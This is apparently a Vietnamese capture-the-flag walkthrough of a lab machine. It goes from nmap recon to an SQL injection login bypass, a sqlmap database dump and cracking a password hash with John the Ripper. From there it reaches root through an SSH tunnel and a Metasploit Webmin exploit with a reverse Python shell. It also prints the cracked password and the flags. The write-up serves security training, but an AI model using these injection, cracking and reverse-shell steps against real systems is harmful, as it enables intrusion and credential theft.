Recon

Dùng Nmap thăm dò:

sudo nmap -sS --top-ports 1000 -Pn -n -T4 -oN nmap_game_zone.txt 10.10.22.155

Tìm được hai port:

22/tcp open  ssh
80/tcp open  http

Obtain Access via SQLi

Sử dụng username sau để đăng nhập và ta thu được trang portal có ô tìm kiếm:

' or 1=1;-- -

Using SQLMap

Ta capture request dùng để tìm kiếm:

POST /portal.php HTTP/1.1
Host: 10.10.22.155
Content-Length: 16
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://10.10.22.155
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.199 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://10.10.22.155/portal.php
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: PHPSESSID=ipemrlohapvf414q4l8al72h33
Connection: close
 
searchitem=hello

Lưu request này vào một file .txt, giả sử đặt tên là request.txt.

Sử dụng tool SQLMap để thực hiện SQL Injection một cách tự động:

sqlmap -r request.txt --dbms=mysql --dump

Với:

  • r là để chỉ định request.
  • --dbms là để chỉ định DBMS.
  • --dump là để xuất ra thông tin về toàn bộ database.

Ta tìm được một entry của user có chứa hashed password như sau:

agent47:ab5db915fc9cea6c78df88106c6500c57f2b52901ca6c0c6218f04122c3efd14

Lưu hashed password này vào một file và đặt tên là hash.txt.

Cracking a Password with JohnTheRipper

Sử dụng John the Ripper để crack password như sau:

john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt --format=Raw-SHA256

Tìm được password của user agent47 là:

videogamer124

Đăng nhập vào target machine thông qua SSH:

ssh agent47@10.10.22.155

Truy cập đến /home/agent47/user.txt để đọc flag:

Success

649ac17b1480ac13ef1e4fa579dac95c

Exposing Services with Reverse SSH Tunnels

Kỹ thuật reverse SSH port forwarding giúp chỉ định một port ở trên remote server được forward đến port của một host cho trước nào đó1.

Sử dụng tool ss để khám phá các socket đang chạy ở target machine:

ss -tulpn

Giải thích các option:

  • t: hiển thị các socket của TCP.
  • u: hiển thị các socket của UDP.
  • l: chỉ hiển thị các socket đang lắng nghe.
  • p: hiển thị tiến trình đang sử dụng socket.
  • n: không phân giải tên dịch vụ.

Kết quả hiện ra ở trên target machine:

Netid  State      Recv-Q Send-Q            Local Address:Port                           Peer Address:Port
udp    UNCONN     0      0                             *:68                                        *:*
udp    UNCONN     0      0                             *:10000                                     *:*
tcp    LISTEN     0      128                           *:10000                                     *:*
tcp    LISTEN     0      128                           *:22                                        *:*
tcp    LISTEN     0      80                    127.0.0.1:3306                                      *:*
tcp    LISTEN     0      128                          :::80                                       :::*
tcp    LISTEN     0      128                          :::22                                       :::*

Có thể thấy, port 10000 đang lắng nghe ở target machine. Tuy nhiên khi scan bằng Nmap thì lại có trạng thái là closed:

10000/tcp closed snet-sensor-mgmt
10001/tcp closed scp-config

Điều này có nghĩa là có thể đã có firewall chặn các kết nối bên ngoài.

Để expose port này ra và tạo một tunnel liên kết local (attacking) machine với remote (target) machine, ta dùng lệnh sau:

ssh -L 10000:localhost:10000 agent47@10.10.22.155

Với:

  • 10000:localhost lần lượt là port và địa chỉ của host mà ta muốn forward port từ remote machine đến. Trong trường hợp này ta muốn forward đến local machine.
  • :10000 là để chỉ định port ở phía remote.
  • agent47@10.10.22.155 là tên user mà ta muốn sử dụng cũng như là IP của remote machine.

Sau khi chạy câu lệnh, ta có thể truy cập vào http://localhost:10000 để truy cập vào port 10000 của remote machine. Port này đang chạy một Web server sử dụng CMS là Webmin với phiên bản là 1.580.

Tìm kiếm trên google với từ khóa webmin default credentials. Biết được credential của nó cũng chính là username và password của root user:

Sử dụng username và password lần lượt là agent47videogamer124, ta truy cập được vào dashboard của Webmin.

Privilege Escalation with Metasploit

Sử dụng Metasploit và tìm kiếm với từ khóa webmin 1.580 và ta thu được một module:

exploit/unix/webapp/webmin_show_cgi_exec

Sử dụng module này và thiết lập như sau:

set ssl false
set username agent47
set password videogamer124
set rhosts 127.0.0.1
set rport 10000
set payload cmd/unix/reverse_python 
set lhost tun0
set lport 8888

Giải thích:

  • rhosts cần phải là localhost vì ta đã forward port.
  • lhost có thể dùng tên interface thay cho địa chỉ IP.
  • payload cmd/unix/reverse_python: đây là một trong số nhiều payload được phép sử dụng. Dùng câu lệnh set payload <TAB><TAB> với 2 lần TAB giúp liệt kê danh sách các payload có thể sử dụng.

Chạy exploit và ta thu được reverse shell. Background shell và nâng cấp thành meterpreter shell bằng câu lệnh sau:

sessions -u 1

Truy cập đến /root/root.txt để đọc flag:

Success

a4b945830144bdd71908d12d902adeee

Resources

Footnotes

  1. xem thêm Tunneling